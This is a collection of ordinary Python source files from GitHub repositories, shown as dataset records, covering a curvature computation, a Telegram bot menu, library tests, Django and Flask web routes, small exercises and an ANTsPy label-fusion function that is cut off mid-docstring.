christoffel(g)\n    gausscurv = 0.5 * inv(g)[i,j] * ( gamma[k,i,j].dx(k) - gamma[k,i,k].dx(j) + gamma[l,i,j]*gamma[k,k,l] - gamma[l,i,k]*gamma[k,j,l] )\n    return gausscurv\n\n# Calculate the integral of b( (1-t)*delta+t*g, g-delta, v ) from t=0 to t=1\n[nodes,weights] = p_roots(20)\nnodes = (nodes+1)/2\nweights = weights/2\nrhs = 0.0\nrhsconn = 0.0\nfor iq in range(len(weights)):\n    w = weights[iq]\n    t = nodes[iq]\n    G = (1-t)*delta + t*g\n\n    gamma = christoffel(G)\n    invG = inv(G)\n    sqrtdetG = sqrt(det(G))\n    ll = sqrt(dot(tau,G*tau))\n    tauG = tau / ll\n    nG = invG*n*sqrtdetG / ll\n    SGsigma = sigma - G*tr(invG*sigma)\n\n    tauGp = tauG('+') # equal to -tauG('-')\n    nGp = nG('+') # NOT equal to -nG('-')\n    llp = ll('+') # equal to ll('-')\n    sigmap = sigma('+')\n\n    rhs = rhs + w * dot(tauGp, sigmap*tauGp) * jump( grad(v), nG ) * llp * dS\n    rhs = rhs + w * dot(tauG , sigma *tauG ) *  dot( grad(v), nG ) * ll  * ds\n    rhs = rhs + w * tr( invG*SGsigma*invG*hess(v,gamma) ) * sqrtdetG * dx\n\n    rhsconn = rhsconn + w * dot(tauGp, sigmap*tauGp) * jump( alpha, nG ) * llp * dS\n    rhsconn = rhsconn + w * dot(tauG , sigma *tauG ) *  dot( alpha, nG ) * ll  * ds\n    rhsconn = rhsconn + w * tr( invG*SGsigma*invG*gradoneform(alpha,gamma) ) * sqrtdetG * dx\n\nrhs = 0.5*rhs\nrhsconn = 0.5*rhsconn\nlhs = kappa*v*sqrt(det(g))*dx\n#lhsconn = dot(connection,alpha)*sqrt(det(g))*dx\nlhsconn = dot(connection,inv(g)*alpha)*sqrt(det(g))*dx\n\n# Compute solution\nkappa = Function(V)\nconnection = Function(W)\nsolve(lhs == rhs, kappa, bcV)\nsolve(lhsconn == rhsconn, connection, bcW)\n\n# Check that the exterior coderivative of the connection equals the curvature\ndiff = assemble( kappa*v*sqrt(det(g))*dx - dot(connection,inv(g)*grad(v))*sqrt(det(g))*dx )\nbcV.apply(diff)\nprint(\"vectornorm(d*connection-kappa) = \", norm(diff))\n\n# Compare with the exact Gaussian curvature\nprint(\"L2norm(kappa  - kappaexact) = \", errornorm(kappaexact,kappa,degree_rise=6))\nif convergence_test:\n    sys.exit()\n\n# Since the connection we computed is really approximating the Hodge star\n# of the connection one-form, compute the Hodge star for plotting purposes\nRT = FunctionSpace(mesh, \"RT\", orderW)\nbcRT = DirichletBC(RT, Constant((0.0,0.0)), boundary)\nstarconnection = project(sqrt(det(g))*rotmat*inv(g)*connection, RT, bcRT)\n\n# Save solution\nfile = File(\"results/kappa.pvd\")\nfile << kappa\nfile = File(\"results/connection.pvd\")\nfile << starconnection\n\n#kappa3 = interpolate(kappaexact,V)\n#vert2dof = V.dofmap().entity_dofs(mesh, 0)\n#for i in range(mesh.num_vertices()):\n#    print(kappa.vector()[vert2dof[i]])\n#print(sqrt(assemble(kappaexact*kappaexact*sqrt(det(g))*dx)))\n\n#########################################################################################################\n#########################################################################################################\n#########################################################################################################\n# Now let's check if we get the same result by computing angle defects, jumps in geodesic curvature, etc.\n\n# Calculate the interior angles of every triangle with respect to the metric g.\n# The entry i,j of \"angle\" will contain the interior angle of triangle i at vertex j,\n# where j is the global index of vertex j.  Most of the entries of \"angle\" will be 0.\n# In particular, if j is not a vertex of triangle i, then angle[i][j]=0.\nangle = numpy.zeros((mesh.num_cells(),mesh.num_vertices()))\nfor cell in cells(mesh):\n    # Get the edges of the current triangle\n    edges = facets(cell)\n\n    # We need to walk through pairs of edges and compute the angle between them.\n    # Since \"edges\" is an iterator, it doesn't seem straightforward to access pairs of edges.\n    # I will brute force it. (Probably there is a better way.)\n    # First let's store the first edge in the list.\n    k = 0\n    for e in facets(cell):\n        if k==0:\n            e0 = e\n            break\n        k += 1\n\n    # Now let's walk through the pairs of edges.\n    e2 = e0\n    stop = False\n    while not stop:\n        e1 = e2 # First edge in the pair\n        e2 = next(edges,-1) # Second edge in the pair\n        if e2==-1: # If we're on the last edge, loop back around.\n            stop = True\n            e2 = e0\n        # Identify the vertex that's shared by e1 and e2.\n        for v1 in vertices(e1):\n            for v2 in vertices(e2):\n                if v1.index() == v2.index():\n                    # Normal vectors to e1 and e2.\n                    n1 = e1.normal()\n                    n2 = e2.normal()\n                    # These might not be outward pointing normal vectors.  To see which way\n                    # the normal vector n1 points, let's look at how the 2 triangles\n                    # adjacent to the edge e1 are ordered.  The first adjacent triangle is \n                    # e1.entities(2)[0] and the second one (if any) is e1.entities(2)[1].\n                    if not (e1.entities(2)[0] == cell.index()):\n                        n1 *= -1\n                    # Similarly for e2.\n                    if not (e2.entities(2)[0] == cell.index()):\n                        n2 *= -1\n\n                    # Evaluate the Regge metric g at the vertex v1.\n                    coord = [v1.point().x(),v1.point().y()]\n                    #coord[0] -= 100*DOLFIN_EPS * (n1[0] + n2[0])\n                    #coord[1] -= 100*DOLFIN_EPS * (n1[1] + n2[1])\n                    gval = numpy.empty(4, dtype=float)\n                    g.eval_cell(gval,coord,cell)\n\n                    # Compute the angle between the two tangent vectors with respect to g.\n                    tau1 = numpy.zeros(2)\n                    tau2 = numpy.zeros(2)\n                    tau1[0] = -n1[1]\n                    tau1[1] =  n1[0]\n                    tau2[0] = -n2[1]\n                    tau2[1] =  n2[0]\n                    tau1dottau2 = ( tau1[0]*gval[0]*tau2[0] + tau1[0]*gval[1]*tau2[1] + tau1[1]*gval[2]*tau2[0] + tau1[1]*gval[3]*tau2[1] )\n                    ll1 =     sqrt( tau1[0]*gval[0]*tau1[0] + tau1[0]*gval[1]*tau1[1] + tau1[1]*gval[2]*tau1[0] + tau1[1]*gval[3]*tau1[1] )\n                    ll2 =     sqrt( tau2[0]*gval[0]*tau2[0] + tau2[0]*gval[1]*tau2[1] + tau2[1]*gval[2]*tau2[0] + tau2[1]*gval[3]*tau2[1] )\n                    tau1dottau2 = tau1dottau2/ll1/ll2\n\n                    theta = numpy.arccos( numpy.clip( -tau1dottau2, -1, 1) )\n                    angle[cell.index()][v1.index()] = theta\n\n\n# Compute angle defects by summing around each vertex and subtracting from 2*pi\nangledefect = numpy.zeros(mesh.num_vertices())\nfor j in range(mesh.num_vertices()):\n    if not boundary(mesh.coordinates()[j,:]):\n        angledefect[j] = 2*pi\n        for i in range(mesh.num_cells()):\n            if angle[i][j]>0.0:\n                angledefect[j] -= angle[i][j]\n\n# Initialize the right-hand side of the linear system to zero.\nrhs2 = 2.0*DOLFIN_EPS*v*dx # Seems impossible to assemble a zero rhs, so make it tiny instead\n\n# If we're working with a Regge metric of order > 0, we need to compute the \n# jumps in geodesic curvature across each edge, as well as the curvature inside\n# each triangle.\nif order>0:\n    ll = sqrt(dot(tau,g*tau))\n    taug = tau / ll\n    ng = inv(g)*n*sqrt(det(g)) / ll\n    gamma = christoffel(g)\n    i,j,k = indices(3)\n    gradtautau = as_vector( -0.5 * taug[j] * taug[i] * dot(taug,g.dx(j)*taug) + gamma[i,j,k]*taug[j]*taug[k], (i) )\n    rhs2 -= jump(ng,g*gradtautau) * v('+') * ll('+') * dS\n    rhs2 += curvature(g) * v * sqrt(det(g)) * dx\n\n# Assemble the mass matrix and the right-hand side\nM, b = assemble_system(lhs, rhs2, bcV)\n\n# Add angle defects to the right-hand side\nvert2dof = V.dofmap().entity_dofs(mesh, 0)\nfor i in range(mesh.num_vertices()):\n    pt = mesh.coordinates()[i,:]\n    b[vert2dof[i]] += angledefect[i]\n\n# Compute solution\nkappa2 = Function(V)\nsolve(M, kappa2.vector(), b)\n\n# Compare with the exact Gaussian curvature\nprint(\"L2norm(kappa2 - kappaexact) = \", errornorm(kappaexact,kappa2,degree_rise=6))\n\n# Save solution\nfile = File(\"results/kappatwo.pvd\")\nfile << kappa2\n\n# Check that the two kappa's are the same\n#print(\"vectornorm(kappa - kappa2) = \", norm(kappa.vector() - kappa2.vector()) )\nprint(\"norm(kappa - kappa2) = \", sqrt(assemble((kappa-kappa2)*(kappa-kappa2)*sqrt(det(g))*dx)) )\n","repo_name":"egawlik/gaussiancurvature","sub_path":"gaussiancurvature.py","file_name":"gaussiancurvature.py","file_ext":"py","file_size_in_byte":12999,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"}
{"seq_id":"34905297880","text":"\"\"\"Клавиатуры\"\"\"\n\nfrom aiogram.types import InlineKeyboardButton, InlineKeyboardMarkup, \\\n    KeyboardButton, ReplyKeyboardMarkup\n\n# стартовое меню\nstart_menu = ReplyKeyboardMarkup(keyboard=[\n    [KeyboardButton(text='Блокнот'), KeyboardButton(text='Погода')],\n    [KeyboardButton(text='Напоминалка'), KeyboardButton(text='AI')]],\n    resize_keyboard=True,\n    input_field_placeholder='Выберите команду из меню')\n\n# меню напоминалки\nreminder_menu = ReplyKeyboardMarkup(keyboard=[\n    [KeyboardButton(text='Добавить')],\n    [KeyboardButton(text='Назад')]],\n    resize_keyboard=True,\n    input_field_placeholder='Выберите команду из меню')\n\n# кнопка для отправки геолоки\nsend_location = ReplyKeyboardMarkup(keyboard=[\n    [KeyboardButton('Отправить геолокацию',\n                    request_location=True),\n     KeyboardButton(text='Назад')]],\n    resize_keyboard=True,\n    input_field_placeholder='Отправьте вашу геолокацию:')\n\nadd_record_button = InlineKeyboardButton('добавить',\n                                         callback_data='add_record')\n\nadd_record = InlineKeyboardMarkup(inline_keyboard=[\n    [InlineKeyboardButton('добавить', callback_data='add_record')]])\n\nchange_reminder_time = InlineKeyboardMarkup(inline_keyboard=[\n    [InlineKeyboardButton('Отложить на 15 минут',\n                          callback_data='fifteen_minutes')],\n    [InlineKeyboardButton('Отложить на 1 час',\n                          callback_data='one_hour')],\n    [InlineKeyboardButton('Подтвердить',\n                          callback_data='reminder_done')]])\n\n# универсальная кнопка назад (в стартовое меню)\nback = ReplyKeyboardMarkup(keyboard=[[KeyboardButton(text='Назад')]],\n                           resize_keyboard=True)\n","repo_name":"LeonovIlya/Personal_telegram_bot","sub_path":"keyboard.py","file_name":"keyboard.py","file_ext":"py","file_size_in_byte":2000,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"}
{"seq_id":"74453681642","text":"#!/usr/bin/env python\n\n\n\"\"\"\nregression tests for mavlogdump.py\n\"\"\"\n\nfrom __future__ import absolute_import, print_function\nimport unittest\nimport os\nimport pkg_resources\nimport sys\n\nclass MAVLogDumpTest(unittest.TestCase):\n\n    \"\"\"\n    Class to test mavlogdump\n    \"\"\"\n\n    def __init__(self, *args, **kwargs):\n        \"\"\"Constructor, set up some data that is reused in many tests\"\"\"\n        super(MAVLogDumpTest, self).__init__(*args, **kwargs)\n\n    def test_dump_same(self):\n        \"\"\"Test dump of file is what we expect\"\"\"\n        test_filename = \"test.BIN\"\n        test_filepath = pkg_resources.resource_filename(__name__,\n                                                        test_filename)\n        dump_filename = \"tmp.dump\"\n        os.system(\"mavlogdump.py %s >%s\" % (test_filepath, dump_filename))\n        with open(dump_filename) as f:\n            got = f.read()\n\n        possibles = [\"test.BIN.py3.dumped\",\n                     \"test.BIN.dumped\"]\n        success = False\n        for expected in possibles:\n            expected_filepath = pkg_resources.resource_filename(__name__,\n                                                                expected)\n            with open(expected_filepath) as e:\n                expected = e.read()\n\n            if expected == got:\n                success = True\n\n        assert True\n\nif __name__ == '__main__':\n    unittest.main()\n","repo_name":"ArduPilot/pymavlink","sub_path":"tests/test_mavlogdump.py","file_name":"test_mavlogdump.py","file_ext":"py","file_size_in_byte":1383,"program_lang":"python","lang":"en","doc_type":"code","stars":392,"dataset":"github-code","pt":"19"}
{"seq_id":"39132422888","text":"import json\nfrom pathlib import Path\n\nimport pytest\n\nfrom hijridate import Gregorian, Hijri\n\n\ndef load_params_from_json():\n    data = []\n    files = Path(__file__).parent.joinpath(\"fixtures\").glob(\"*.json\")\n    for file in files:\n        file_content = json.loads(file.read_text())\n        # skip test data when the last element is False\n        file_data = [\n            [tuple(i) for i in x[0]] for x in file_content if x[-1] is not False\n        ]\n        data += file_data\n    params = [tuple(x) for x in data]\n    params_reversed = [tuple(x[::-1]) for x in data]\n    return params, params_reversed\n\n\nhijri_gregorian_params, gregorian_hijri_params = load_params_from_json()\n\n\n@pytest.mark.parametrize(\"test_input, expected\", hijri_gregorian_params)\ndef test_convert_hijri_to_gregorian(test_input, expected):\n    year, month, day = test_input\n    hijri = Hijri(year, month, day, validate=False)\n    converted = hijri.to_gregorian().datetuple()\n    assert converted == expected\n\n\n@pytest.mark.parametrize(\"test_input, expected\", gregorian_hijri_params)\ndef test_convert_gregorian_to_hijri(test_input, expected):\n    year, month, day = test_input\n    gregorian = Gregorian(year, month, day)\n    converted = gregorian.to_hijri().datetuple()\n    assert converted == expected\n","repo_name":"dralshehri/hijridate","sub_path":"tests/integration/test_month_starts.py","file_name":"test_month_starts.py","file_ext":"py","file_size_in_byte":1274,"program_lang":"python","lang":"en","doc_type":"code","stars":56,"dataset":"github-code","pt":"19"}
{"seq_id":"21834654965","text":"from django.urls import path\nfrom .views import (\n    home, \n    repairs, \n    about, \n    sale,\n    sale_detail,\n    sale_create,\n    sale_delete,\n    sale_update\n)\n\nurlpatterns = [\n    path('', home, name='home'),\n    path('sale/', sale, name='sale'),\n    path('sale/<int:pk>/', sale_detail, name='sale_detail'),\n    path('sale/<pk>/delete/', sale_delete, name='sale_delete'),\n    path('sale/<pk>/update/', sale_update, name='sale_update'),\n    path('repairs/', repairs, name='repairs'),\n    path('about/', about, name='about'),\n    path('create/', sale_create, name='create'),\n]\n","repo_name":"XurlimanKalmuratova/firstapp","sub_path":"scoop/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":582,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"}
{"seq_id":"4138390421","text":"from flask_restplus import Resource, Namespace, fields\nfrom flask import request\n\nfrom models.cloud.cloud_account import CloudAccount\nfrom models.cloud.cloud_provider import CloudProvider\nfrom models.general.customer import Customer\n# Included Models for Marshalling\nfrom apis.general.customers import model as cs\nfrom apis.cloud.cloud_providers import model as cp\n\napi = Namespace('cloud_accounts', description='Cloud Accounts')\n\nmodel = api.model('cloud_accounts', {\n    'uid': fields.String(required=True, description='Cloud Account ID'),\n    'name': fields.String(required=True, description='Cloud Account Name'),\n    'customer': fields.Nested(cs, \"Customer\"),\n    'cloud_provider': fields.Nested(cp, \"Cloud Provider\")\n})\n\nmodel_cu = api.model('cloud_accounts_cu', {\n    'uid': fields.String(required=True, description='Cloud Account ID'),\n    'name': fields.String(required=True, description='Cloud Account Name'),\n    'customer_uid': fields.String(required=True, description='Customer UID'),\n    'cloud_provider_uid': fields.String(required=True, description='Cloud Provider UID')\n})\n\n@api.route('/')\nclass Cloud_Accounts(Resource):\n\n    @api.marshal_list_with(model)\n    def get(self):\n        '''Lists all Cloud Accounts'''\n        return list(CloudAccount.objects()), 200\n\n    @api.expect(model_cu)\n    @api.marshal_with(model_cu, code=201)\n    def post(self):\n        '''Creates a new Cloud Account'''\n\n        if request.is_json:\n            content = request.json\n\n            customer = Customer.objects(uid=content[\"customer_uid\"]).first()\n            cloud_provider = CloudProvider.objects(uid=content[\"cloud_provider_uid\"]).first()\n\n            cloud_account = CloudAccount(uid=content[\"uid\"], name=content[\"name\"], \\\n                customer=customer, cloud_provider=cloud_provider)\n            \n            cloud_account.save()\n            \n            return cloud_account.to_dict(), 201\n\n        else:\n            return 400\n\n@api.route('/<string:uid>')\nclass Cloud_Accounts_By_UID(Resource):\n\n    @api.marshal_with(model)\n    def get(self, uid):\n        '''Shows a Cloud Account'''\n        cloud_account = CloudAccount.objects(uid=uid).first()\n\n        if cloud_account:\n            return cloud_account, 200\n        else:\n            return {}, 404\n\n    def delete(self, uid):\n        '''Deletes a Cloud Account'''\n        \n        cloud_account = CloudAccount.objects(uid=uid)\n        \n        if cloud_account:\n            cloud_account.delete()\n            return {\"msg\": \"{} has been removed.\".format(uid)}, 200\n        else:\n            return {\"msg\": \"{} has not been found.\".format(uid)}, 404\n        \n    @api.expect(model_cu)\n    @api.marshal_with(model_cu, code=200)\n    def put(self, uid):\n        '''Updates a Cloud Account'''\n        if request.is_json:\n            content = request.json\n            cloud_account = CloudAccount.objects(uid=uid).first()\n            if cloud_account:\n\n                customer = Customer.objects(uid=content[\"customer_uid\"]).first()\n                cloud_provider = CloudProvider.objects(uid=content[\"cloud_provider_uid\"]).first()\n\n                cloud_account.name = content[\"name\"]\n                cloud_account.customer = customer\n                cloud_account.cloud_provider = cloud_provider\n                cloud_account.save()\n\n                return cloud_account.to_dict(), 200\n            \n            else:\n            \n                return {}, 404\n        \n        else:\n            \n            return {}, 400","repo_name":"AlfredoPardo-zz/security-testable-flask-api","sub_path":"api/app/apis/cloud/cloud_accounts.py","file_name":"cloud_accounts.py","file_ext":"py","file_size_in_byte":3493,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"13487434388","text":"\"\"\"Powerups and random events\"\"\"\n\nfrom random import randint\n\nclass Effects:\n    \"\"\"contains methods and variables used for effects\n\n    Attributes:\n        powerups: table of powerups and their boolean values\n            INDESTRUCTIBILITY disables enemy collison\n            BOINGBOING grants infinite ability uses\n            REVERSE: makes enemies move backwards slowly\n        True means that the powerup is active\n        timer: powerup timer\n        active: name of current active powerup\n    \"\"\"\n    def __init__(self):\n        self.powerups = {}\n        self.timer = 0\n        self.powerups[\"INDESTRUCTIBILITY\"] = False\n        self.powerups[\"BOINGBOING\"] = False\n        self.powerups[\"ICE AGE\"] = False\n        self.active = \"\"\n\n    def countdown(self):\n        \"\"\"Runs timer and deactivates powerups\"\"\"\n        if self.timer > 0:\n            self.timer -= 1\n            if self.timer == 0:\n                for key in self.powerups:\n                    self.powerups[key] = False\n                    self.active = \"\"\n\n    def random_powerup(self):\n        \"\"\"Activates random powerup\"\"\"\n        _randomizer = randint(0,2)\n        for key in self.powerups:\n            if _randomizer == 0:\n                self.powerups[key] = True\n                self.timer = 1000\n                self.active = key\n            _randomizer -= 1\n","repo_name":"aejmmark/mr_butts_vs_gravity","sub_path":"src/effects.py","file_name":"effects.py","file_ext":"py","file_size_in_byte":1338,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"44352233378","text":"# -*- coding: utf-8; -*-\n#\n# (c) 2015 Mandriva, http://www.mandriva.com\n#\n# This file is part of Mandriva Pulse.\n#\n# Pulse2 is free software; you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation; either version 2 of the License, or\n# (at your option) any later version.\n#\n# Pulse Pull Client is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with MMC.  If not, see <http://www.gnu.org/licenses/>.\n\nimport os\nimport logging\nimport logging.config\n\nimport cx_Logging\nimport cx_Threads\n\nfrom pulse2agent.config import Config\nfrom pulse2agent.control import Dispatcher\n\n\nclass Handler(object):\n\n    def __init__(self):\n\n        path = os.path.dirname(os.path.abspath(__file__))\n        if \"library.zip\" in path:\n            path = os.path.dirname(path)\n        cfg_path = os.path.join(path, \"pulse2agent.ini\")\n        logging.config.fileConfig(cfg_path)\n\n        self.stopEvent = cx_Threads.Event()\n        config = Config()\n        config.read(cfg_path)\n        self.dp = Dispatcher(config)\n\n    def Initialize(self, configFileName):\n        pass\n\n    def Run(self):\n        logger = logging.getLogger()\n        cx_Logging.Info(\"Pulse2 Agent starting...\")\n        self.dp.mainloop()\n        logger.info(\"Pulse2 Agent started.\")\n        self.stopEvent.Wait()\n\n    def Stop(self):\n        logger = logging.getLogger()\n        cx_Logging.Info(\"Pulse2 Agent stopping...\")\n        logger.info(\"Pulse2 Agent stopped.\")\n        self.stopEvent.Set()\n","repo_name":"medulla-tech/medulla","sub_path":"services/clients/agent/service.py","file_name":"service.py","file_ext":"py","file_size_in_byte":1780,"program_lang":"python","lang":"en","doc_type":"code","stars":17,"dataset":"github-code","pt":"18"}
{"seq_id":"38775486952","text":"# The isBadVersion API is already defined for you.\n# def isBadVersion(version: int) -> bool:\ndef firstBadVersion(n: int) -> int:\n    # set pointers at the left and right most values\n    left = 1\n    right = n\n    \n    # record what the earliest_known_bad version is\n    earliest_known_bad = n\n    \n    # binary search the array\n    while left <= right:\n        middle = (left + right) // 2\n        \n        is_bad = isBadVersion(middle)\n        \n        # if this version is bad, continue searching but be sure\n        # to record this version as the \"earliest_known_bad\" version we know of\n        if is_bad:\n            right = middle - 1\n            earliest_known_bad = middle\n        else:\n            left = middle + 1\n            \n    return earliest_known_bad\n    ","repo_name":"SeanBarry/data-structures-and-algorithms","sub_path":"first-bad-version/my-solution.py","file_name":"my-solution.py","file_ext":"py","file_size_in_byte":772,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"29747741876","text":"#Write a function called \"after_second\" that accepts two\n#arguments: a string to search, and a search term. The\n#function should return everything in the first string after\n#the SECOND occurrence of the search term. You can assume\n#there will always be at least two occurrences of the search\n#term in the first string.\n\n#For example:\n#  after_second(\"1122334455321\", \"3\") -> 4455321\n#\n#The search term \"3\" appears at indices 4 and 5. So, this\n#returns everything from the index 6 to the end.\n#\n#  after_second(\"heyyoheyhi!\", \"hey\") -> hi!\n#\n#The search term \"hey\" appears at indices 0 and 5. The\n#search term itself is three characters. So, this returns\n#everything from the index 8 to the end.\n\n\n#Write your function here!\n\ndef after_second(searchString,searchTerm):\n    searchTermCount = 0\n    currentLocation = searchString.find(searchTerm)\n    #print(\"Location of first search term:\", currentLocation)\n\n    if currentLocation >= 0:\n        currentLocation = searchString.find(searchTerm, currentLocation+len(searchTerm))\n        if currentLocation >=0:\n            #print(\"Location of first search term:\", currentLocation)\n            return searchString[currentLocation+len(searchTerm):]\n        else:\n            return \"There are no second terms found\"\n    else:\n        return \"No search terms found\"\n\n\n\n\n#Uncomment the lines below to test your code. When your\n#function works correctly, these should result in\n#\"4455321\" and \"hi!\". However, comment these lines out\n#before submitting or else the autograder may interpret\n#them as an attempt to circumvent the directions.\n#print(after_second(\"1122334455321\", \"3\"))\n#print(after_second(\"heyyoheyhi!\", \"hey\"))\n","repo_name":"thermoptics7/EDX","sub_path":"aftersecond.py","file_name":"aftersecond.py","file_ext":"py","file_size_in_byte":1666,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"21581531500","text":"#!/usr/bin/env python\nfrom traits.api import (HasTraits,  Array,  File, cached_property,\n          Bool, Enum, Instance, on_trait_change, Property,\n          DelegatesTo, Int, Button, List, Set, Float, Str,Directory)\nimport os\n# Needed for Tabular adapter\nfrom meap.gui_tools import (Item,HGroup,VGroup, HSplit, ObjectColumn, \n                           TableEditor, ProgressDialog)\nfrom traitsui.menu import OKButton, CancelButton\nimport numpy as np\nimport time\nfrom meap.gui_tools import MEAPView, messagebox\nfrom meap.io import load_from_disk, PhysioData\nfrom glob import glob\nimport pandas as pd\n\nimport logging\nlogger = logging.getLogger(__name__)\n\nclass FileToProcess(HasTraits):\n    input_file = File()\n    output_file = File()\n    finished = Bool(False)\n    \n    def _output_file_changed(self):\n        self.finished = os.path.exists(self.output_file)\n        \nclass PhysioFileColumn(ObjectColumn):\n    def get_cell_color(self,object):\n        if object.finished: return \"light blue\"\n        return\n\n\nfiles_table = TableEditor(\n    columns = [ \n        PhysioFileColumn(name=\"input_file\", width=1.0, \n                         editable=False,label=\"Input File\"),\n        PhysioFileColumn(name=\"output_file\", width=1.0, \n                         editable=False,label=\"Output File\"),\n        ],\n    auto_size  = True\n)\n\nclass BatchFileTool(HasTraits):\n\n    # For saving outputs\n    file_suffix = Str(\"_finished.mea.mat\")\n    input_file_extension = Enum(\".mea.mat\", \".acq\", \".mat\")\n    overwrite = Bool(False)\n    input_directory = Directory()\n    output_directory = Directory()\n    files = List(Instance(FileToProcess))\n    spreadsheet_file = File(exists=False)\n    b_save = Button(\"Save Spreadsheet\")\n\n    def _input_file_extension_changed(self):\n        self._input_directory_changed()\n        \n    def _input_directory_changed(self):\n        potential_files = glob(self.input_directory +\"/*\" + self.input_file_extension)\n        potential_files = [f for f in potential_files if not \\\n                           f.endswith(self.file_suffix) ]\n        \n        # Check if the output already exists\n        def make_output_file(input_file):\n            return input_file[:-len(self.input_file_extension)] + self.file_suffix\n        \n        self.files = [\n            FileToProcess(input_file = f, output_file=make_output_file(f)) \\\n            for f in potential_files\n        ]\n        \n        # If no output directory is set, use the input directory\n        if self.output_directory == '':\n            self.output_directory = self.input_directory\n        \n        \n    def _b_save_fired(self):\n        def get_row():\n            return {\"file\":\"\", \"outfile\":\"\", \"weight\":\"\",\n                    \"height_ft\":\"\", \"weight\":\"\", \"electrode_distance_front\":\"\",\n                    \"electrode_distance_back\":\"\", \"electrode_distance_left\":\"\",\n                    \"electrode_distance_right\":\"\", \"resp_max\":\"\", \"resp_min\":\"\",\n                    \"in_mri\":\"\", \"control_base_impedance\":\"\"}\n        rows = []\n        for f in self.files:\n            row = get_row()\n            row['file'] = f.input_file\n            row['outfile'] = f.output_file\n            rows.append(row)\n        df = pd.DataFrame(rows)\n        logger.info(\"Writing spreadsheet to %s\",  self.spreadsheet_file)\n        df.to_excel(self.spreadsheet_file, index=False)\n        \n    \n\n    mean_widgets =VGroup(\n            Item(\"input_file_extension\"),\n            Item(\"input_directory\"),\n            Item(\"output_directory\"),\n            Item(\"file_suffix\"),\n            Item(\"spreadsheet_file\"),\n            Item(\"b_save\",show_label=False)\n    )\n\n    traits_view = MEAPView(\n        HSplit(\n            Item(\"files\",editor=files_table,show_label=False),\n            mean_widgets),\n        resizable=True,\n        win_title=\"Create Batch Spreadsheet\",\n        width=800, height=700,\n        buttons = [OKButton,CancelButton]\n    )\n","repo_name":"mattcieslak/MEAP","sub_path":"meap/make_batch_spreadsheet.py","file_name":"make_batch_spreadsheet.py","file_ext":"py","file_size_in_byte":3897,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"18"}
{"seq_id":"24211113934","text":"\"\"\"\nJoint Label Fusion algorithm\n\"\"\"\n\n__all__ = ['joint_label_fusion']\n\nimport os\nimport numpy as np\n\nfrom tempfile import mktemp\nimport glob\nimport re\n\nfrom .. import utils\nfrom ..core import ants_image as iio\nfrom ..core import ants_image_io as iio2\n\n\ndef joint_label_fusion(target_image, target_image_mask, atlas_list, beta=4, rad=2,\n                        label_list=None, rho=0.01, usecor=False, r_search=3,\n                        nonnegative=False, verbose=False):\n    \"\"\"\n    A multiple atlas voting scheme to customize labels for a new subject.\n    This function will also perform intensity fusion. It almost directly\n    calls the C++ in the ANTs executable so is much faster than other\n    variants in ANTsR.\n\n    One may want to normalize image intensities for each input image before\n    passing to this function. If no labels are passed, we do intensity fusion.\n    Note on computation time: the underlying C++ is multithreaded.\n    You can control the number of threads by setting the environment\n    variable ITK_GLOBAL_DEFAULT_NUMBER_OF_THREADS e.g. to use all or some\n    of your CPUs. This will improve performance substantially.\n    For instance, on a macbook pro from 2015, 8 cores improves speed by about 4x.\n\n    ANTsR function: `jointLabelFusion`\n\n    Arguments\n    ---------\n    target_image : ANTsImage\n        image to be approximated\n\n    target_image_mask : ANTsImage\n        mask with value 1\n\n    atlas_list : list of ANTsImage types\n        list containing intensity images\n\n    beta : scalar\n        weight sharpness, default to 2\n\n    rad : scalar\n        neighborhood radius, default to 2\n\n    label_list : list of ANTsImage types (optional)\n        list containing images with segmentation labels\n\n    rho : scalar\n        ridge penalty increases robustness to outliers but also makes image converge to average\n\n    usecor : boolean\n        employ correlation as local similarity\n\n    r_search : scalar\n        radius of search, default is 3\n\n    nonnegative : boolean\n        constrain weights to be non-negative\n\n    verbose : boolean\n        whether to show status updates\n\n    Returns\n    -------\n    dictionary w/ following key/value pairs:\n        `segmentation` : ANTsImage\n            segmentation image\n\n        `intensity` : ANTsImage\n            intensity image\n\n        `probabilityimages` : list of ANTsImage types\n            probability map image for each label\n\n    Example\n    -------\n    >>> import ants\n    >>> ref = ants.image_read( ants.get_ants_data('r16'))\n    >>> ref = ants.resample_image(ref, (50,50),1,0)\n    >>> ref = ants.iMath(ref,'Normalize')\n    >>> mi = ants.image_read( ants.get_ants_data('r27'))\n    >>> mi2 = ants.image_read( ants.get_ants_data('r30'))\n    >>> mi3 = ants.image_read( ants.get_ants_data('r62'))\n    >>> mi4 = ants.image_read( ants.get_ants_data('r64'))\n    >>> mi5 = ants.image_read( ants.get_ants_data('r85'))\n    >>> refmask = ants.get_mask(ref)\n    >>> refmask = ants.iMath(refmask,'ME',2) # just to speed things up\n    >>> ilist = [mi,mi2,mi3,mi4,mi5]\n    >>> seglist = [None]*len(ilist)\n    >>> for i in range(len(ilist)):\n    >>>     ilist[i] = ants.iMath(ilist[i],'Normalize')\n    >>>     mytx = ants.registration(fixed=ref , moving=ilist[i] ,\n    >>>         typeofTransform = ('Affine') )\n    >>>     mywarpedimage = ants.apply_transforms(fixed=ref,moving=ilist[i],\n    >>>             transformlist=mytx['fwdtransforms'])\n    >>>     ilist[i] = mywarpedimage\n    >>>     seg = ants.threshold_image(ilist[i],'Otsu', 3)\n    >>>     seglist[i] = ( seg ) + ants.threshold_image( seg, 1, 3 ).morphology( operation='dilate', radius=3 )\n    >>> r = 2\n    >>> pp = ants.joint_label_fusion(ref, refmask, ilist, r_search=2,\n    >>>                     label_list=seglist, 